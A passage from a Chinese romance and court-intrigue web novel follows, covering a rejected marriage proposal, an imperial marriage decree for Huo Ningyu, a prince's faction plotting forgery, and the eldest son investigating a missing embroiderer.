代母省亲,还要在南楚择婿?
怎么那么像冲着大哥来的。
而前世,东临六公主来到南楚京城,那时大哥已经成亲,而且大嫂都有了身孕。
所以只待了一个月就走了。
想到此,霍凝玉心里豁然开朗。
“大哥,东临六公主就是转机。”霍凝玉很肯定自己心里的猜测。
但不能说得很直白。
“你是说,让我尚东临六公主?”霍鸣羡一下就听懂妹妹的意思。
惊讶万分。
他从没想过与东临六公主还能有交集。
但此刻,他又想起了在东临游学时,与六公主交锋的几次。
他对一个女子也有那般学问而心生佩服。
而且那姑娘还特意找机会与他接触。
还说了些......
霍鸣羡脸微微热了起来。
“有何不可?”赵炳煜反问。
“赵大哥,东临六公主什么时候来?”霍凝玉不知是不是还和前世一样的时间。
一个多月,时间太久,恐生变故。
“最多半个月就到。年前东临就递了国书来。
二月,她就出发了。
不过我今早才得知她来南楚的真正目的。”
霍凝玉更加肯定自己的猜测。
去年八月大哥退亲,消息传到东临需要几个月时间,六公主再花点时间说服自己的母妃,过了年出发。刚好时间对得上。
而上一世,她虽然也来了,或许就是想确认大哥是否真的成亲,或者想知道他们夫妻是不是感情深厚。
最终看不到希望,只得潸然离去。
一定是这样。
但只是她的猜测,不能直接告诉大哥。
两情相悦要看缘分的。
“大哥,你对殿试有没有信心?”霍凝玉眉眼弯弯问道。
“自然。”霍鸣羡很自信。
“既如此,这几天你也不用温书了,反正殿试不过是考一篇策论,你去迎一迎六公主。
当然不是以南楚接待使的身份,就以出门查看我们家铺子上的生意为由,偶遇即可。”霍凝玉笑得很灿烂。
霍鸣羡脸色泛红。
他从没做过这种事,这和登徒子有什么区别?
不过,那六公主的才学让他印象太深刻。
虽有些许刁蛮,但不是蛮不讲理的那种,而是身为公主的那份骄傲和自信。
“鸣羡,六公主姿容不俗,且才情了得。你们堪为良配,而且她是东临的公主,又不是南楚的公主,对你的仕途没有任何影响。反而更有助力。
我南楚世代与东临交好,东临的公主嫁到我南楚,必得厚待,除了不能生子继承皇位,其他都没有限制。”赵炳煜见霍鸣羡一时没说话,竭力劝道。
“只是,以往东临公主来
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和亲都是嫁给皇子或者宗亲,还没有嫁给臣子的。”霍鹏程并不看好这个主意。
“霍叔,并没有规矩东临公主一定要嫁宗室子,只要她在南楚过得幸福就是于两国最有利的。”赵炳煜早就想过这个问题。
“父亲,我去。”霍鸣羡拿定主意,心里生起淡淡期待。
如果他没有定亲,也许他早已被六公主的风采所吸引。
他从没见过那么有活力的女子。
他是一个很有原则的人,定了亲,就不会与别的女子有过多牵扯。
越想,东临六公主在他脑子里越鲜活。
翌日,霍鸣羡收拾了几件衣服,带着小厮走了。
走得静悄悄,没人知道他去了哪里。
要是有人问起,霍家人都统一口径,只说他去邻县处理一个铺子的生意。
霍家有不少产业,出门去处理事情很正常。
然,霍鸣羡刚走三天。
容华芝就收到辰王妃的邀约,一起出城踏青。
辰王妃是亲王妃,她的邀请,容华芝不能拒绝。
四月十三,天气晴朗,身体底子好的,已换下春衫。
但大多还需披件外衫,挡挡清晨的寒气。
这日霍鸣昶正好休旬假。
既然是踏青,霍凝玉又约了万青黛一起去。
已经好久没好好和青黛一起玩了。
也不知道她最近在忙什么。
霍凝玉穿了一身淡青色的褙子,清新淡雅,美丽脱俗。
当霍家的马车到达东城门外时,辰王妃的马车还没到。
但万家的马车已经到了。
万青鸿陪着妹妹一起来的。
“万大哥不用温书吗?”霍鸣昶一看他,忍不住问道。
还有二十天左右就要殿试了。
殿试的名次和会试的名次可不一定一样。
还要重新排名的,大多数人都不会选择这个时间出来玩,浪费时间。
“本公子才高八斗。耽误一两天又何妨。”万青鸿自信满满。
此话引得霍鸣昶竖起大拇指。
“青黛,我与你坐一辆马车。”霍凝玉丢下母亲,跑进万家马车里。
两个小姐妹好久不见,有说不完的话。
放榜那日,万家也热闹非凡,两家就没有相互上门,只送了贺礼。
这时辰王府的马车也来了。
只是让霍凝玉想不到的是,骑马跟在辰王妃车旁的居然是那个她不喜的人。
第118章 两人很般配
正是看不懂人脸色的廖含章。
他怎么会跟在辰王妃身边?
霍凝玉百思不得其解。
“霍夫人,霍二公子,霍县主,有礼。这两位是万家公子和小姐吧?”廖含章一看到霍家人,一夹马肚过来打招呼。
还是如以前一样,自来熟。
“正是,廖公子,幸会。”万青鸿礼貌一揖。
两人一个第三名,一个第四名。
相互都早有耳闻。今日却是第一次相见。
辰王妃孔舒怡,定远侯府嫡女。
虽已三十,但保养打扮得很光鲜,看着和二十多岁的女子没什么区别。
一张明媚的笑脸,看着很舒服,让人产生想要亲近的感觉。
就是这样的外表,让她在贵妇圈中,风评很好。
真是辰王的贤内助。
且育有两个儿子,一个女儿,辰王妃的位置坐得稳稳当当,再加上娘家显赫。
高门贵女,精心培养,为家族荣耀而生。
今日辰王妃带了嫡长女赵凌霜在身边,赵凌霜已经十岁。
众人向辰王妃纷纷见礼,再一起往东江边而去。
正是草长莺飞的季节,河风送暖。
辰王妃提前让下人来江边准备好了需用的东西。
围幔,小几,吃用的东西,应有尽有,甚至还请了唱曲的伶人来助兴。
王府,过得就是比一般官家奢靡。
如此一比较,霍府过的日子就简单多了。
“霍夫人,难得出来游玩,今日咱们不讲身份,好好玩玩。你们年轻人,如果想游江的,也可去。”辰王妃温柔笑道。
“母妃,现在还早,我想先去游江,一会儿回来,正好可以吃午膳。”郡主赵凌霜摇了摇辰王妃的衣袖。
平日里母妃管得严,今日难得出来放风,她想玩个够。
“凝玉,青黛,你们都是姑娘家,也一起去玩吧,霜儿少有玩伴,今日你们两个就陪陪她吧。”辰王妃表现得与人很亲近。
还把自己的孩子交给两个姑娘看着,这是极大的信任。
霍凝玉看了母亲一眼。
辰王妃的意思明显是想把她打发走。
容华芝轻点头,霍凝玉只得领着郡主去江边。
这里早就准备好了一艘画舫。
只是廖含章也跟来,让霍凝玉就有点不太喜欢了。
“大姐,小心些。”霍鸣昶站在江边,做护花使者,刚把赵凌霜扶上船,再来扶霍凝玉。
只是廖含章动作更快:“县主,在下扶你。”
但霍凝玉哪里可能让他扶,快速把手递给二弟。
廖含章也没觉得被拒绝而尴尬:“万小姐,小心。”
他又伸手去扶万青黛。
可霍鸣昶见他又向万青黛伸手,眼神凌厉,如丢沙包似的把霍凝玉丢上船,如小孩子抢东西似的,一把抢过万青黛的手,把人扶住。
霍凝玉懵了。
被万青鸿扶着站稳,就看到二弟稳稳地扶着万青黛走上来。
二弟这是什么意思?
万青鸿也有点傻眼。
他先上船,在船上接应,把霍鸣昶的动作也看得一清二楚。
那动作很滑稽,想笑又不好意思笑出声。憋得很难受。
这廖公子不大受欢迎啊,他一眼就看出霍鸣昶对廖含章的排斥。
而霍凝玉却想的就有点多了。
想到花灯节那晚,二弟背的正是万青黛。
难道那一背,二弟对青黛有了不一样的心思?
两人只差半岁,二弟已十五岁半,青黛十六岁。
越想越觉得两人很般配。
廖含章对霍鸣昶的动作,只是笑笑,没当回事。
他比霍鸣昶大了整整十岁,只当是小孩子玩闹,不计较。
上了船,画舫上有很多玩的东西。年轻人很快就找到自己想玩的。
“霍凝玉,你会不会钓鱼?”赵凌霜自持身份,直接连名带姓喊人。
“郡主,船在行走,一般是钓不到鱼的。”霍凝玉解释。
“那撒网能不能网到鱼?”赵凌霜再问。
“郡主,网自然是行的。”不知什么时候廖含章站到她们身后。
“那我们用网来网鱼,怎么样?中午还可以用火烤着吃。”赵凌霜来了极大的兴趣。
“郡主,我们不是渔夫,没人会撒网。”霍凝玉抚额。
小孩子想一出是一出。
要是没掌握好,整个人都会掉水里去。
现在还没到夏天,万
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一掉进水里,很容易得风寒。
“县主,在下可以试试。”廖含章自告奋勇。
廖含章向船夫要了渔网,让大家帮着理开。
再向空中用力一抛,然后再慢慢收拢,还真网了两条小鱼起来。
如此撒了几次网,霍鸣昶看出门道来。
他也要试试。
结果第一次就差点把自己给甩出去,好在万青黛反应快,一把拉住他,才免于落入水中。
但也阻止不了霍鸣昶想吃自己网的鱼。
试了几次,成功把网撒了出去,网到几条小鱼,万青黛在旁边热烈鼓掌。
两人之间的互动,霍凝玉看得真切,也看得满意。
但廖含章总在她身边就让她很不高兴,可她又没有理由赶人。
而且她怎么也想不通,他怎么会跟在辰王妃身边的?
“廖公子,今日怎么是你陪着辰王妃出来游玩?”霍凝玉直接问出口。
“县主有所不知,我母亲是辰王妃母亲的娘家表妹。”廖含章含笑道。
“原来如此。”霍凝玉终于想通,前世为何辰王会启用他。
原来七拐八拐沾着亲,又加上他考了状元,提升起来更容易。
廖含章有了机会,更是缠着霍凝玉东拉西扯聊天。
霍凝玉也趁机打听了一些他的身世背景。
原来他母亲是辰王妃外祖家的一个庶女,难怪她前世不知道此人的消息。
年轻人在船上玩。
而岸上,辰王妃与容华芝漫步踩在松软的江边。
“霍夫人,今日约你出来,有些唐突。不过我们也好久不曾一起这般轻松游玩过了,你我都要操持一个府,每日都有操不完的心。
趁春光正好,出来透透气,确实感觉舒服多了。”辰王妃望向江面,几只水鸟正掠过江心。
“臣妇确实也少有来这里赏景。春日最是好时候。”容华芝笑道。
“我们都是做母亲的,全部心思都在儿女身上。能这样放松一下,也是难得。”
“是啊。”容华芝应和。
“霍夫人,今天我确有一事与你商量。”辰王妃停下脚步。
“王妃请讲。”容华芝就知道辰王妃约她出来,定是有事。
第119章 一个鳏夫也敢肖想我女儿
“今日跟在我身边的廖公子,是我外祖家一表姨的儿子。
他进京赶考,在墨韵文汇阁初识凝玉,就对凝玉一见钟情,特托我做这个媒人。
我这表弟会试考了第三名,文采斐然,前途不可限量,位极人臣是迟早的事。
他虽之前娶过一妻,但福薄,已去世一年多,留下一个女儿只有三岁。
凝玉与忠义伯家大公子那事,他也不计较。
我也觉得两人很是般配,所以今日特约你出来谈谈两人的婚事。你意下如何?”辰王妃说起正事。
虽然语气温和,可话里却没有商量的意思。
以为霍家一定会答应。
容华芝愣住。
她怎么也想不到辰王妃会这么直接替女儿作媒。
而且还是一个鳏夫。
岂有此理。
容华芝被气炸了,但尚有理智,深吸一口气。
“王妃,你我都是有儿女的人。自家的孩子都是千好万好。
谢正阳不是东西,不知道我儿的好,害我儿受了连累。
但我儿还是个黄花大闺女,怎可去与人做填房,还给人做后娘。自古后娘难做。
我霍家虽不是勋贵之家,但夫君也深得皇上器重,给孩子许一门门当户对的亲事还是不难。”容华芝说出的话也不留情面。
容华芝知道迟早会与辰王府扛上。
女儿说了,辰王本就是霍家的仇人,她不在乎现在就得罪辰王妃。
这几个月来,辰王府几次三番算计霍家,当她没有脾气吗?
暗的不行,今日直接来明的。
“霍夫人......”辰王妃没想到容华芝如此不顾脸面,胆子也如此之大,竟半点余地都不留。
谁敢在她面前如此放肆说话。
辰王妃压了压眉心,控制住想要喷薄的火气。
“霍夫人,夫妻讲究缘分,含章对凝玉是真心实意,自会夫妻和睦。
如果嫁给那不知道心疼人的男人,一辈子过得不如意,一生也就毁了,还不如找个知冷知热的男子,过得心情舒畅。”辰王妃放缓了声音劝道。
“多谢王妃美意。我家凝玉自有她的姻缘,廖公子还是另寻他人吧。”容华芝拒绝得十分干脆。
“你是说赵壑吗?我听说他最近与你们霍家走得近。
他不过是父皇身边的一条狗罢了。那种身份,哪里是凝玉的良配?
你们要是真把凝玉嫁给他,那才是京中一大笑话。
堂堂县主,嫁给父皇的一个影卫。估计父皇都不会同意。
凝玉怎么也替父皇挡过暗器,为此还中了毒,差点没命。”辰王妃早就打听过。
而且王爷与她说过,赵壑自与霍凝玉走得近后,连办了几件大事,王爷怀疑霍凝玉可能有古怪。
所以王爷才想尽办法要把霍凝玉或者说霍家拉拢到自己身边。
“王妃娘娘,此事不用多谈。今日我们只是来赏景的。”容华芝油盐不进。
辰王妃第一次遇到这么不通情理的人,只得压下心里的不快,回府再与王爷商量别的办法。
相谈不欢,自然没有心情继续游玩。
等船上的人下来后,匆匆吃了些东西,容华芝就带着孩子告辞离去。
连一起回城都不愿意。
把辰王妃得罪得透透的。
辰王妃看着远去的马车,气得骂了一句:“真是不知所谓。”
她为了维持自己的形象,没有当面摆王妃架子,训斥容华芝的无理。
回到府里,容华芝就把辰王妃找她说的事情告诉儿女。
越说越气。
“娘,今日你做得很好,之前还要维持基本的关系,那毕竟是辰王妃。现在直接明面上把人得罪,以后看辰王妃还好意思做大姐的媒不?”霍鸣昶支持母亲的做法。
“娘,这样也好,辰王能用的手段都用了,估计也就放弃我们霍家了。”霍凝玉安慰。
等到霍鹏程回来,容华芝又抱怨一番,在夫君面前,那就肆无忌惮地说了。
怎么难听怎么说。
“癞**也想吃天鹅肉,一个鳏夫也敢肖想我女儿。
辰王和辰王妃竟如此瞧不起我女儿。
退过婚怎么了?又不是我女儿的错。我女儿还是黄花大闺女,怎么就不能嫁个好人家了?”
容华芝发了一通脾气,心里才好受些。
她不好在儿女面前表现出这么泼辣的一面。
“夫人莫气。”霍鹏
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程安抚老妻。
他虽也生气,但还没失去理智。
为官多年,他想得更远。
辰王想尽办法要把霍家拉上他的船。
说明辰王缺钱,想打户部的主意。
“我怎么能不气?翠环,去把青风给我叫来。”容华芝吩咐丫鬟。
青风今日跟着上了船,容华芝与辰王妃的谈话,**。
“夫人。”青风很快来了主院。
“青风,去给赵大人传个话,让他即刻来霍府。”容华芝怎么也压不下这口气。
“是。”青风离去。
天还没黑,赵炳煜就来了。
容华芝事无巨细,把今日辰王妃说过的话一字不漏都告诉了他。
赵炳煜听后,眼神冰冷。
看来他还是太天真,哪怕再得圣上宠信,也改变不了人们对他身份的贬低。
之前他还想用赵壑这个身份来娶妻,看来不行。凝玉会被人看不起。
他无论如何也不能让凝玉受人白眼。
“容姨,我这就进宫向圣上请旨赐婚。”赵炳煜只一瞬就抛弃了之前的想法。
霍凝玉的婚事迟迟没有定下,就会被有心之人利用。
“好,快去。”容华芝很赞成,早些定下来,什么时候成亲都不打紧。
赵炳煜又找到霍凝玉。
“凝玉,我们先定下婚事,免得你总被人惦记,你看可好?”他还不能确定,霍凝玉是否完全把心交给了他。
“好。”霍凝玉爽快应下。
“太好了。”赵炳煜激动地把人拥进怀里,“你是真心喜欢我了,对不对?”
霍凝玉今日是真被廖含章给恶心到家了。
从第一次见到他,她就对此人没有好感,原来原因在此。
太自以为是了。
霍凝玉回拥着他:“嗯!”
轻轻的一声,从他的胸口处传来。
只简简单单一个低低的嗯字,让赵炳煜喜不自胜。
“我的两个身份,你也知道。你可愿意嫁给靖王府世子?”赵炳煜小心翼翼问道。
他怕霍凝玉嫌弃他的那个身份。
连他自己都嫌弃。
“什么意思?”霍凝玉一时没明白,“难道你想一辈子戴着面具?”
第120章 终于赐婚
“不是。我怕你不喜欢我靖王世子的身份。”
霍凝玉明白了,取下他的面具,认真看着他。
“人的出生不能自己选择,但你的生活可以自己选择,不要被身份束缚了。”
霍凝玉的话让他心神为之震动。
这么多年,他一直沉浸在得不到父亲认可的痛苦中,却从没想过,父亲能丢弃他,他也可以舍弃父亲。
“凝玉,谢谢你。”赵炳煜因这句话,心灵豁然通透。
身份带给他的伤痛,这一刻再也不复存在。
他的人生要怎么过,从来不是身份决定的,而是他自己决定的。
离了霍府,赵炳煜直接进宫。
“都这个点了,来陪朕吃晚饭的?”乾德帝看到赵炳煜风风火火进来,故意调笑。
赵炳煜行了个礼,见御书房里只有大总管林德全,直接把面具取下来。
乾德帝挥了挥手,让林德全到门外守好。
“怎么了?”乾德帝见他露真容,就知有私密话想与他说。
赵炳煜扑通跪到地上:“皇伯父,请为侄儿赐婚昭勇县主霍凝玉。”
深深拜了下去。
“咦,你不是想用赵壑的身份娶妻的吗?怎么?想通了?”乾德帝怔了怔。
这小子,一时一个想法,没个定数。
“是,侄儿想通了,昭勇县主的一句话让侄儿豁然通透。这些年,侄儿一直陷在自己制造的旋涡里,无法自拔,这些年都白活了。”
“哦?她说了什么?”乾德帝好奇不已,他说了那么多都没说通这小子。
看来还是情人的话管用。
“她说人的出生不能自己选择,但怎么生活却可以自己选择。侄儿不想做靖王府的世子。侄儿只想好好孝顺您。”赵炳煜乞求地抬起头看着面前的老人。
“混账,你是靖王府唯一的嫡子。你不做世子,难道给妾生的去做?
我赵氏向来注重嫡庶,哪家要是没有嫡子,庶子也要过继到嫡母名下才能承袭。难道你希望有人过继到你母妃名下?”乾德帝被他这话给气得大骂。
可看到孩子那儒慕的眼神,他又长长叹了一口气。
七岁就接到自己身边养大的孩子。
他没有母亲,唯一亲近的人只有自己这个皇伯父。
“那,侄儿可不可以娶妻后不住靖王府?”赵炳煜退而求其次。
他早就料道皇伯父不会答应。
他一个人在衙门里都能过一晚,但娶了妻就不一样了。
不能如之前那般随意。所以他提了这个要求。
“你想住哪里,朕不管你。朕不是赏了一个三进的小宅子给你吗?”
“侄儿也是这么想的。”赵炳煜脸上荡开笑容。
目的达到。
“好小子,在这儿等着朕呢。罢了罢了。如了你的意。”乾德帝让他起来。
“不过你赵壑的身份暂时还不能暴露,有些事,你用赵壑的身份来办更合适。
朕另外再赐一个三进的宅子给你,用作新房。之前那个是赐给赵壑的,不好让你作为新房。”乾德帝考虑了一下说道。
“谢皇伯父。您对侄儿这么好,几位堂兄弟恐怕要心生嫉妒。”赵炳煜达到目的,心情很好。
“你从没让朕操过心,而他们却一个个翅膀硬得让朕都管不住了。要是那几个小子有你这么省心就好了。”乾德帝有感而发。
这话赵炳煜不接。
皇子都是想做皇伯父的继承人,而他只是侄儿,没有那资格,自然就没那个心。
而且还是他亲手养大,才会得到皇伯父全心的信任。
翌日,一份让京中众人震惊的赐婚圣旨下到靖王府。
靖王得知有圣旨来,还莫名其妙。
当林德全高声念完圣旨他才回过神来。
封靖王世子赵炳煜为煜郡王,赐婚昭勇县主,等世子回京后再完婚。
还另赐一座三进宅子给煜郡王单独居住。
靖王从地上起来拍了拍膝盖。
“林大总管,皇兄怎么突然想起给那小子赐婚了?”靖王随口问道。
“回靖王爷,是皇上体恤昭勇县主,最近太多人打她主意。就连辰王妃都出面保媒。
而昭勇县主可是替皇上挡过毒暗器的有功之人,她的婚姻怎么能随便许人呢?所以皇上就想到还没成婚的世子爷。”林德全如实相告。
当然也是得了皇上允
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许的。
靖王一听就明白了。
这是有人要打霍家的主意,皇兄不允许。
而赵炳煜是在皇兄身边长大,就凭这点,赵炳煜就不会参与那些乱七八糟的事。
同时也是在警告他,没事不要瞎掺和。
“皇兄真是记恩的人。”靖王感叹。
可惜就是不给他的爱妾娘家**。
导致现在他也给不了她真正想给的身份。
他的爱妾本是官家小姐,两人早已私定终身。
就因为当年她家站错了队,被父皇给抄了家,男子发配,女子卖入教坊。
一遭变故,打了他一个措手不及。
可惜那时他无能为力。
好不容易等到父皇**,求皇兄**,可皇兄却不肯,说什么证据确凿,三司会省的案子,他不能**。
那是打父皇的脸。
从此他只能把她从教坊司救出来单独给她安排住处,直到生下第一个孩子,他才把人接进府里来住。
好在皇兄对此事睁一只眼闭一只眼,不然他真要把皇兄恨死。
哎,皇家无情,可又有情。
“管家,把这圣旨送往边关。”靖王高声吩咐。故意说给林德权听。
“是,王爷。”
他虽不喜那小子,但毕竟是他的种。
当年要不是父皇使了手段,让人在洞房里点了迷情香,他也不会失控生下这个孩子。
这么多年过去,他的王妃长什么样,他早就忘记。
他知道自己对不起王妃,可那不是他想要的,是父皇硬塞给他的,不能怪他。
赵炳煜得知圣旨被管家送往边关,立即找人拦下自己收起来。
当江宁得到这个消息时,把一套美精的瓷器给砸了个粉碎。
“该死的,她运气怎么就那么好?”
辰王想拉拢霍家,不许她乱来。
现在好了,几次三番都算计不到人家。
辰王是不是该死心了?
如果辰王不再想着拉拢霍家,她是不是可以给自己报仇了?
她的孩子,才刚刚怀上,就因为霍凝玉而失去,这个仇她一定要报。
几经思索,她写了一封信,让丁香送出去。
第121章 江宁的本事
信是给曾永信的。
江宁在辰王的眼里,不过是个小人物。
当曾永信收到江宁的信后,打开一看,吃了一惊,再看信的内容,对江宁更是另眼相看。
曾永信带着信匆匆来找辰王。
辰王此时正在书房里沉思。为自己几次算计霍府失败而懊恼。
但有一个问题他一直想不明白。
不是传霍家小姐与赵壑走得很近吗?
且赵壑深得父皇信任,他几次想与之接触都吃了闭门羹。
那家伙油盐不进。
谁都不理会,只听令于父皇。
父皇也真是老糊涂了,一个影卫给这么大体面。
前不久又给他升职,已是正五品宁远将军的头衔。
为何父皇不给他们两人赐婚,反而把霍凝玉赐给了赵炳煜?
赵炳煜十八岁那年就去了边关,直到现在也没闯出名声来,还是父皇亲自养大的,也是个废物。
父皇真是宠他。
霍凝玉已经被赐婚,已无可挽回。
就看大皇姐能不能把慧兰嫁入霍家了。
此时的辰王生出淡淡嫉妒之心,要是父皇也如宠赵炳煜那般宠他就好了。
正在这时,曾永信求见,打断了他的思绪。
“王爷,您看。”曾永信把江宁的信递给辰王。
辰王接过,展开。
一手苍劲有力的行书,写得非常漂亮。
“这是霍鹏程写给你的?”辰王已经看出这是霍鹏程的字。
朝中要员的字,辰王自是一眼就能认出来。
“王爷,请看内容。”曾永信卖了个关子。
当辰王把信看完,再看落款,居然是江宁。
眼睛明显亮了不少。
江宁在信中说,霍鹏程是个不懂变通之人,一心只忠于圣上,很难让其投诚。
与其花心思做无用功,不如取而代之。
而她有办法。
“取而代之”,这四个字入了辰王的心。
花了这么多精力都不能把霍家绑定。
取而代之?
霍鹏程深得父皇信任,要想把他搞下去,不是重大的事,很难实现。
“王爷,您怎么看?”曾永信见辰王看完信,收了起来。
“本王真没想到谢家的少夫人还有这一手。她除了能模仿霍鹏程的字,还会模仿别人的字吗?”辰王此时对江宁有了新的看法。
他一直就想收罗这样的人才,可这么多年,都没找到一个满意的。
试了几个,还是很容易被人看出来。而江宁写的这封信,他如何看都是霍鹏程写的。
“属下不知,回头属下问问。”曾永信也是第一次见江宁露这手。
“你回信给她,让她把这个本领藏好了,轻易不可示人,你再找些其他官员的字给她练练,让她抄写几首诗给本王看看。”辰王交代。
“是,属下这就去办。”曾永信领命。
“王爷,我们也不能把目标只盯在部户上。
属下今日收到彭城县令传来的消息。
他说在彭城县北面有一座山,叫望云山,疑似有银矿,请王爷示下。如果真是银矿,属下建议可买下。”曾永信大胆道。
银矿自来归朝廷,谁要是敢私自采矿,视同**,重处。
“此话当真?”辰王眼睛更亮了。
这个消息更得他心。
户部被父皇捏得太紧,而他想成事,需要大量银钱,现在他深感银钱吃紧。
他的开销太大,还要给投向他的臣子一些好处。
尤其武将,更是花钱如流水。
“还不能确定,只是疑似。王爷最好派亲信带人去实地考察一下,如若是真,我们再不用为银钱发愁。”
“好,此事本王会仔细斟酌。”辰王心动了。
——
霍凝玉今日接了圣旨,容华芝的一颗心才落地。
再没人敢打女儿主意了。
“哎,你是有着落了,你大哥也不知道有没有眉目?还有你二弟。一个个都让人操心个不停。”容华芝嘴里说着抱怨的话,脸上却是带着笑的。
“母亲,二弟也可以先定亲,等他十八之后再成亲也是可以的。”霍凝玉建议,“他年纪小,有时被人利用了都不知道。还是早些给他定下,免得他三心二意。”
“大姐,你是在说我三心二意吗?”正好霍鸣昶刚到门口就听到大姐在说他。
他什么时候三心二意了?他都没正经喜欢过一个姑娘。
“是我说错了,我是想说,你一心一意读书,都没想过以后要娶个什么样的姑娘做媳妇。”霍凝玉立即纠正。
“这还差不多,让我想想。”他当即认真想了起来。
忽然,万家姐姐的身影闯进他的脑子里。
又想到那次,他背着她,那柔软的身子趴在他背上,那奇妙的感觉直到现在记忆犹新。
她
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还是大姐的闺中好友,要是把她娶回家,大姐肯定很高兴。
而且大姐肯定更喜欢他,而不是什么事都找大哥。
可是她已经十六岁,多半等不了那么多年。
这要怎么办?
还有更重要的,青黛姐姐会不会看上他呢?
霍鸣昶的脸色几度变幻。
“是不是想到娶谁了?”霍凝玉神秘笑问道。
容华芝也看着儿子纠结的脸。
不知不觉,连小儿子都到了说亲的年纪。
时间过得真快。
“大姐,我......”霍鸣昶脸红了红,“等我问问再告诉你。”
然后一溜烟跑了。
“这小子,不会真有喜欢的姑娘了吧?”容华芝有点不可思议。
霍凝玉笑而不语。
有些事,没有落实前,还是不要让母亲知道为好,万一二弟是剃头挑子一头热呢。
——
霍鸣羡自那日骑了马出京,一路向东行了三百里停下。
这里叫阳东县,离京不远不近,快马一天就能到。
平时一般两天到。
霍家在这里有两家作坊和两间铺子。
一家是酿酒的作坊,对应一间卖酒的铺子,叫**香酒坊。
酒坊主要卖给京里来这里进货的商家,经常送货进京。
还有一家染坊和绣坊,对应一间卖布匹和绣品的铺子,叫七彩布庄。
霍鸣羡确实带着任务而来。
先把两个铺子和两个作坊都好好看了看,管事认真汇报经营情况。
负责染坊和绣坊的管事正好是一对夫妻,三十多岁。
男的叫郑谷仓,女的叫林丽娘。
两人配合得非常默契,都是霍家的家生子,特意培养的管事。
“大公子,有件事很蹊跷。”郑谷仓汇报完生意上的事,犹豫着提起最近发生的一件事。
“什么事?”霍鸣羡见郑谷仓的表情,被勾起了好奇心。
“我们绣坊前两日失踪了一个绣娘。小的派人找了两天都没找到。
而她家里就一个祖母,全靠这姑娘在咱们绣坊里做活换取家用。
老人家这两天都快哭瞎了眼。
可那姑娘去过的地方,认识的人家,小的都派人找过了,愣是一点消息都没有。”
郑谷仓能做的都做了,也算尽到了本分。
可那姑娘是从绣坊出去后不见的,老人家就死缠着他要人。
第122章 绣娘失踪
霍鸣羡听了郑谷仓的话后,眼神蓦地锐利起来。
他出自尚书府,平时与父亲经常聊一些政事和南楚的律法。
他对律法尤为感兴趣。
他立刻敏锐感觉此事不简单。
他放下手中茶盏:“细细说来,一个绣娘,怎会莫名失踪?”
郑谷仓与林丽娘对视一眼。
林丽娘上前一步,福了一礼:“回大公子,那绣娘名叫柳絮儿,手艺是坊里拔尖的,尤其擅长双面异色绣。
掌握这项绣艺的女子,就是在京中也难寻几位。
她也是我们绣坊里长得最好看的姑娘。
前几日,有一个自称是她远房表哥的男子来找过她,之后絮儿便有些神思不属。
失踪那日,说是有人传话给她,说她祖母身子不太舒服,叫她早些回去,可这一走,就再没见人影。”
一个掌握独特技艺的绣娘,失踪前有陌生人出现,这绝非寻常。
霍鸣羡立刻起身:“带我去她家看看。”
郑谷仓立即带着霍鸣羡去了柳絮儿的家。
在一条小巷子里,三间小瓦房,一个小小的院子。
收拾得十分干净。
一个年约五十的老妇人坐在屋檐下正在编一个竹篮。
看到有人来,老妇人起身相迎。
“郑管事,是不是有我孙女的消息了?”
“何大娘,还没有。这是我们东家,姓霍,他想来问一些关于柳姑娘的事情。”郑谷仓介绍道。
何大娘这才看向霍鸣羡。
气宇轩昂,一身正气。
何大娘突然激动起来,一把抓住霍鸣羡的手。
“霍东家,我孙女根本没回来,我也没生病,定是被人给骗去,卖到那腌臜之地去了。
求求你,你一定有办法找回我孙女。我就这一个亲人了。
她爹娘死得早,要是没了孙女,我以后的日子可怎么活啊?”
说着,何大娘就跪了下去。
“老人家,快起来。柳姑娘既然是我家绣坊的人,我自会尽力。
还请如实相告一些柳姑娘的事情。”霍鸣羡立刻把人扶住。
“哎,絮儿是个孝顺的姑娘,都十七岁了也舍不得嫁人。
怕我一个人没人照顾,没法过日子。
本想招个婿,可我给她相看了不少人家,愿意上门的都是些歪瓜劣枣,哪里配得上我家絮儿。
前不久,她一个远房表哥找来。
那孩子,我并不认识。
可他说起我儿媳妇娘家的事,半点不假,我就信了。
而且他还说愿意入赘。
我看他长得周正,且上进。一来阳东县就去码头扛货挣些工钱,时不时还给我买些吃食。
可就在絮儿失踪那日,那孩子却被船上的货物给砸**。”何大娘越说越难过,抹起了眼泪。
霍鸣羡听了就知道没那么多巧合。
这表哥肯定有问题。
可是他却**。
“何大娘,你可有去收尸?”霍鸣羡问道。
“没有,等我得到消息,赶到码头时,尸体已经被衙门的人带走了。”
“走,我们去义庄看看。”霍鸣羡转身就走。
等他们赶到义庄时,却被告知,那人已经埋了。
无人认领的尸体,又没有苦主,很快就被处理。
明明何大娘已经去码头问了,哪里是无人认领。
再问埋在哪里时,那守庄的老汉却答不出个具体地点,只说一般都埋在乱葬岗。
乱葬岗每天都有尸体埋进去,也分辨不出哪个是那人的。
“大公子,要不还是算了,一个绣娘,又没有**进绣坊,我们不必如此尽心尽力。”郑谷仓劝道。
“郑叔,我感觉这事不简单。她祖母有没有报官?”
“已经报了,可县令对此事并不积极。”郑谷仓也无奈。
这种事在县令眼里是小事,并不重视。除非出了人命。
霍鸣羡陷入沉思。
“郑叔,今晚,我们去乱葬岗看看。”他总觉得柳絮儿的表哥有问题。
如果他不是真正的表哥,那么柳絮儿失踪一定与他有关。
到了晚上,霍鸣羡在郑谷仓的带领下,来到阳东县城外北面的一座山上。
那里正是县城里无人认领或没有亲人的死者所埋之地。
霍鸣羡没有半点害怕,自己的妹妹就曾做了五年的鬼,她说鬼一般伤不到人。
用火把照了照,果然有几个新的坟头。
“挖。”霍鸣羡一声令下,几个随从就开始挖起来。
当第一个挖开时,里面埋了一具女尸。没有棺材,只是一张破席裹着往土里一埋就了事。
当第二个挖出来时,仍然是一具女尸,身上多处溃烂,一看就是窑子里得了那种病的女子。
前前后后挖了五个新坟,都没有年轻男子的尸体。
“哼,义庄那老头居然敢骗人。”郑谷仓气
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愤道,“白忙活一场。”
“不,并没有白忙。证实了我的猜测,那什么表哥根本就没死。柳絮儿的失踪应该就是他所为。”霍鸣羡现在可以确定。
此时天已见曙光。
“我们先回城,此事当从长计议。”霍鸣羡本是来此想与东临六公主来个偶遇,结果遇到这事。
可他现在无官无职,没有任何立场来为一个失踪女子出头。
“郑叔,阳东县的县令为人如何?”霍鸣羡问道。
“听说是京中某个勋贵的亲戚,在这里混政绩,能少一事决不多一事的主。而且还有些贪,每年小的都要向他孝敬五百两银子,才能在阳东县立足。
老爷让小的尽量不要暴露这是霍家的产业,免得被一些政敌抓住不放。”
郑谷仓为人圆滑。
